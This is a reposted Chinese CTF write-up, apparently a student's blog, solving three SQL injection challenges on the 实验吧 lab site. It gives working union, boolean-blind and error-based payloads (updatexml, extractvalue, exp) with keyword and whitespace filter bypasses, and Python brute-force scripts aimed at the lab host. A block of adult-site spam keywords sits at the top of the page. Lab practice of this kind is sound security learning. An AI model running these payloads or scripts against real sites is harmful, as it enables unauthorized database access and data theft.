日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

实验吧——SQL注入 Write up(一)

發布時間:2024/9/30 数据库 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 实验吧——SQL注入 Write up(一) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:之前學習過了聯合注入查詢、布爾盲注、時間盲注等,這次就通過SQL注入題來加強一下。

簡單的sql注入

方法一

輸入有回顯,且有輸入框,那就可以用聯合查詢的方法來注入

題中提示已經過濾了一些關鍵字,那么就先來查看題中過濾的是哪些關鍵字

?id=1 union select order by #

回顯結果:

union,select等都被過濾而且沒有報錯說明#也被過濾
可以自己建立一個語句來驗證一下

如果#沒有被過濾,那么上面的語句將會變成這樣,語句一定會報錯

題中將關鍵字過濾,可以嘗試一下雙寫繞過的方法是否可用
輸入框中輸入?id=1 unionunion selectselect,發現空格也被過濾了

但雙寫繞過的方法是可行的,可以采用這個方法

判斷注入點
可以采用'='或1' or '1'='1查看是否有注入點
SQL注入——注入點判斷

判斷閉合符號

發現輸入框中輸入1'時語句報錯,由于這道題將注釋符號給過濾了,那就用'來閉合后面的單引號,這樣來測試是否'為閉合符號,可以自己建立sql語句來更詳細的了解一下

在輸入框中輸入1 ' ',發現回顯正常,說明'即為閉合符號

接下來就是聯合注入的一系列步驟了

判斷列數

當判斷是否有注入點的時候,發現

只有name,而我們輸入的ID則一直不變,因此猜測列數只有一列

查詢數據表

題中已經將注釋符給過濾掉了,但是在上面已經知道了'是閉合符號,那就可以用and '1'='1來閉合后面的單引號

?id=1' union select group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1


其他都被過濾了,構造雙寫繞過,前面也說了空格也被過濾了,但是也可以用兩個空格來繞過過濾

輸入

?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schematable_schema=database() andand '1'='1

發現table_schematable_schema被強制換掉了,那么就用table_schemtable_schemaa這種形式來繞過,過濾中間的,前后再拼接成table_schematable_schema

payload:

?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schemtable_schemaa=database() andand '1'='1


有一個表名為flag,flag應該就在里面

查字段

payload:

?id=1'unionunion selectselect group_concatgroup_concat(column_namcolumn_namee) fromfrom information_schema.columinformation_schema.columnsns wherewhere table_name='flag

這里column_name也采用錯位的方法來繞過,但估計是系統原因吧,莫名奇妙崩了

看了其他大師傅的博客,知道flag是其中的一個字段,就構造語句查詢結果

查值

payload:

?id=1'unionunion selectselect flag fromfrom flag wherewhere '1'='1


得出結果

方法二

一道題肯定是不只一種解法的,再來看看另一種方法
輸入

?id=1 unionunion and selectselect

發現回顯

很奇怪,如果是過濾關鍵字了,為什么還有關鍵字,嘗試幾次就會發現關鍵字過濾實際上是過濾后面帶有一個空格的關鍵字,那就又出現了一個思路,只需將空格繞過即可

常見的空格繞過有這些

+%0a、%0b、/**/

查詢數據庫

?id=1' union/**/select/**/database()' ?id=1' union%0aselect%0adatabase()' ?id=1' union%0bselect%0bdatabase()'

三種均能夠查出數據庫

查數據表

?id=1' union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa='web1

同樣table_schema需要錯位來進行繞過

查字段

?id=1'union/**/select/**/group_concat(column_namcolumn_namee)/**/from/**/information_schema.information_schema.columnscolumns/**/where/**/table_name='flag


還是那個問題,不管它,反正語句正確

查值

?id=1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1


簡單的sql注入之2

輸入

?id=1' and length(database())>1 --+

回顯結果為:

第一反應用時間盲注試試

?id=1' and if(length(database())>5,1,sleep(5)) --+

回顯結果:

那就換一種思路,用布爾盲注測試

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>200 --+

故意將ASCII值調大,看是否還出現SQLi detected!

回顯結果還是出現

那就換手工注入,觀察到底過濾了什么
輸入?id='='
得出列數為一列

測試閉合符號
輸入

?id=1'

報錯
輸入

?id=1' '

還是報錯

但是輸入

?id=1''

回顯正常

說明這里把空格給過濾了,可以再輸入一些其他的來驗證一下
輸入

?id=1' and '1'='1

回顯錯誤
輸入

?id=1'and'1'='1

回顯正確,果然是過濾了空格,在sql注入之一,通過/**/來繞過空格,這次就再用一次

查數據庫

?id=1'union/**/select/**/database()/**/'


查數據表

?id=1'union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web1


查字段

?id=1'union/**/select/**/group_concat(column_namcolumn_namee)/**/from/**/information_schema.columns/**/where/**/table_name='flag


這次竟然顯示了,然而沒高興過一秒就又不行了

查值

?id=1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1


簡單的sql注入之3

方法一、布爾盲注

一開始做沒注意提示是報錯提示,就用布爾盲注去嘗試,結果還是可以做的

閉合符號還是',這里就不再演示了

正常輸入的話回顯為:
那就構造一下布爾盲注查數據表的語句看是否可行

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

回顯正常,說明可以進行布爾盲注

可以手工注入,也可以寫腳本跑出來,這里就寫腳本跑出來

猜解長度

import requests def len():for i in range(1,5):url = '''http://ctf5.shiyanbar.com/web/index_3.php'''#猜表名長度payload = '''?id=1' and length(database())>%s''' %i#猜字段長度#payload = '''?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>%s ''' %i#猜值長度#payload = '''?id=1' and (select length(column_name) from information_schema.columns where table_name ='flag' limit 0,1)>%s'''# print(url+payload+'%23')r = requests.get(url+payload+'%23')if 'Hello!' in r.text:print(i)else:#print('false')print('database_length:',i) len()


猜解數據

import requestsdef get_value():name = ''#根據猜解的長度進行改變for j in range(1,5):for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_@!':#爆出表名url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)#爆出列名#url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),%d,1)))=ord('%s')" %(j,i)#爆值#url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (ascii(substr(( select flag from flag limit 0,1),%d,1)))=ord('%s')"%(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'Hello!' in r.text:name = name+iprint(name)breakprint('value:',name)get_value()

但是在猜解字段長度猜解字段的時候又出現這個問題

就不管這個問題,之前一直以為腳本中的payload又錯誤,結果是服務器有錯誤,所以無法跑出列名,查看大師父們的博客,發現列名還是flag,好吧,繼續跑值

由于腳本中range的長度是1-5,所以只能跑出

就將range的范圍改的大一些,改為1-30

因為python還不太熟練,所以寫的腳本還比較菜,繼續努力學習寫腳本吧

方法二、報錯注入

不過這樣就結束了?,我還一直在疑惑,這題道將哪些東西給過濾了,結果提交的時候發現

報錯注入,那就再用報錯注入來做一遍

用常用的語句嘗試一下

?id=2' select count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+

回顯結果為:

說明floor函數已經被過濾了,查一下報錯注入常用的其他函數
十種MySQL報錯注入
updatexml報錯注入
SQL注入之報錯注入的一些隨筆

floor() extractvalue() updatexml() geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring() exp()

updatexml () 函數

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)--+


extractvalue()報錯

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

updatexml()報錯注入

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

exp()報錯注入

?id=1' union select (exp(~(select * FROM(SELECT USER())a)))--+

終于讓找到沒有被過濾的函數了

查數據表

?id='or exp(~(Select * From (select group_concat(table_name) from information_schema.tables where table_schema=database())x)) %23


這就沒意思了吧。。。。都不能用,算了就順便總結一下payload,方便以后用
exp()報錯注入

查數據庫

?id='or exp(~(Select * From (select database())x)) %23

查數據表

?id='or exp(~(Select * From (select group_concat(table_name) from information_schema.tables where table_schema=database())x)) %23

查字段

?id='or exp(~(Select * From (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')x)) %23

查值

?id='or exp(~(Select * From (select flag from flag)x)) %23

附上大師傅博客,向大師傅學習
V0W

原本想用sqlmap工具來做,誰知道虛擬機崩了,沒法打開,最近可真倒霉,phpstudy崩完,虛擬機崩,唉

(還要再去解決虛擬機的問題) 累啊

感悟:一道題不只一種解法,多嘗試其他方法拓寬自己的思路,最近也比較煩躁,總覺得做題沒意思,不會了只會看大師傅的writeUp,一做題就懵逼,做一道題可能就用一上午,不過那這也是正常的,還是得耐心點,不是為了做題而做題,切記不要浮躁, 繼續努力,有困難就解決!

總結

以上是生活随笔為你收集整理的实验吧——SQL注入 Write up(一)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。